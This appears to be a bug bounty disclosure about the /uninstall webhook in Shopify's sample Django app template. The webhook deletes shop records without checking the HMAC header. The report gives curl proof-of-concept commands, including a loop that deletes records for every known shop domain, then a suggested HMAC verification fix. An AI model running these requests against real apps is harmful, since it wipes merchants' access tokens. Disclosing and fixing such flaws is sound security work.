Shopify · Report #3697491
Missing HMAC validation on /uninstall webhook in Shopify/sample-django-app reference template
Summary
The researcher reported that the /uninstall webhook endpoint in Shopify/sample-django-app doesn't validate the X-Shopify-Hmac-Sha256 header before deleting shop records — a deviation from Shopify's documented webhook guidance (https://shopify.dev/docs/apps/build/webhooks/best-practices/validate-webhooks).
Closed as Informative because sample-django-app is a reference template that doesn't run in any Shopify-operated environment and doesn't handle real merchant data. Developers building on top of it are responsible for the production-grade controls documented in the link above. Reports must demonstrate exploitable impact on live Shopify systems, merchants or buyers, not theoretical vulnerabilities in sample code.
How it was found
Repository: https://github.com/Shopify/sample-django-app
Description
The /uninstall webhook endpoint in sample-django-app processes incoming requests without verifying the X-Shopify-Hmac-Sha256 header. Shopify explicitly requires this validation as a mandatory security measure for all webhook endpoints, as documented in the official Shopify developer documentation.
As a result, any unauthenticated attacker can send a crafted POST request to delete any merchant’s record from the database, effectively revoking their access token and force-uninstalling the application without their knowledge or consent.
Since this repository is an official Shopify reference template, the vulnerability propagates to any third-party application built on top of it.
Vulnerability Location
File: sample_django_app/shopify_app/views.py — lines 47–51
@csrf_exempt
def uninstall(request):
uninstall_data = json.loads(request.body)
shop = uninstall_data.get("domain")
Shop.objects.filter(shopify_domain=shop).delete()
return HttpResponse(status=204)
Root cause: The @csrf_exempt decorator is expected here since Shopify cannot send a CSRF token with webhook requests. However, this must be compensated by HMAC signature validation to ensure the request genuinely originates from Shopify. No such validation is present — neither the existence of the header nor its cryptographic integrity is checked before the deletion is executed.
Exploitation Requirements
| Requirement | Needed? |
|---|---|
| Shopify account | No |
| Authentication | No |
| Knowledge of a target shop domain | Yes |
| Special tooling | No — a single curl command is sufficient |
Proof of Concept
Step 1 — Send the unauthenticated request
curl -X POST https://target-app.com/uninstall \
-H "Content-Type: application/json" \
-d '{"domain": "target-shop-domain"}'
Step 2 — Observed response
HTTP/1.1 204 No Content
The shop record matching target-shop-domain is deleted from the database. Its Shopify access token is permanently erased. The merchant loses access to the application instantly, with no warning and no action required from the attacker.
Step 3 — Mass deletion
The attack can be repeated for any known shop domain registered on the application, with no rate limiting or authentication preventing it:
for domain in $(cat known_shops.txt); do
curl -s -o /dev/null -w "%{http_code} $domain\n" \
-X POST https://target-app.com/uninstall \
-H "Content-Type: application/json" \
-d "{\"domain\": \"$domain\"}"
done
Impact
- For merchants: Sudden and unexplained loss of access to the application. The merchant must reinstall the application and re-grant all permissions manually, with no indication of what happened.
- For developers using this template: Any application built from
sample-django-appinherits this vulnerability directly. An attacker with a list of registered shop domains can wipe all merchant records in seconds. - For the Shopify ecosystem: This repository is an official reference template linked in Shopify Partners documentation. A vulnerability here has a multiplied impact across all developers who base their apps on it.
Root Cause & Fix
Shopify’s official documentation mandates HMAC verification on all webhook endpoints:
“Each webhook request includes a
X-Shopify-Hmac-Sha256header […] which is generated using the app’s client secret along with the data sent in the request. To verify that the request came from Shopify, compute the HMAC digest and compare it to the value in the header.”
Source: https://shopify.dev/docs/apps/build/webhooks/best-practices/validate-webhooks
Suggested fix
import hmac
import hashlib
import base64
@csrf_exempt
def uninstall(request):
# Step 1 — Ensure the HMAC header is present
hmac_header = request.META.get('HTTP_X_SHOPIFY_HMAC_SHA256', '')
if not hmac_header:
return HttpResponse(status=401)
# Step 2 — Compute the expected HMAC
secret = apps.get_app_config('shopify_app').SHOPIFY_API_SECRET.encode('utf-8')
digest = hmac.new(secret, request.body, hashlib.sha256).digest()
computed_hmac = base64.b64encode(digest).decode('utf-8')
# Step 3 — Constant-time comparison to prevent timing attacks
if not hmac.compare_digest(computed_hmac, hmac_header):
return HttpResponse(status=401)
# Step 4 — Safe to process
try:
uninstall_data = json.loads(request.body)
except json.JSONDecodeError:
return HttpResponse(status=400)
shop = uninstall_data.get("domain")
if not shop:
return HttpResponse(status=400)
Shop.objects.filter(shopify_domain=shop).delete()
return HttpResponse(status=204)
Additional Recommendations
Input validation on the domain field:
if not isinstance(shop, str) or len(shop) > 255:
return HttpResponse(status=400)
JSON bomb protection — no size limit is enforced on the request body:
if len(request.body) > 10_000:
return HttpResponse(status=413)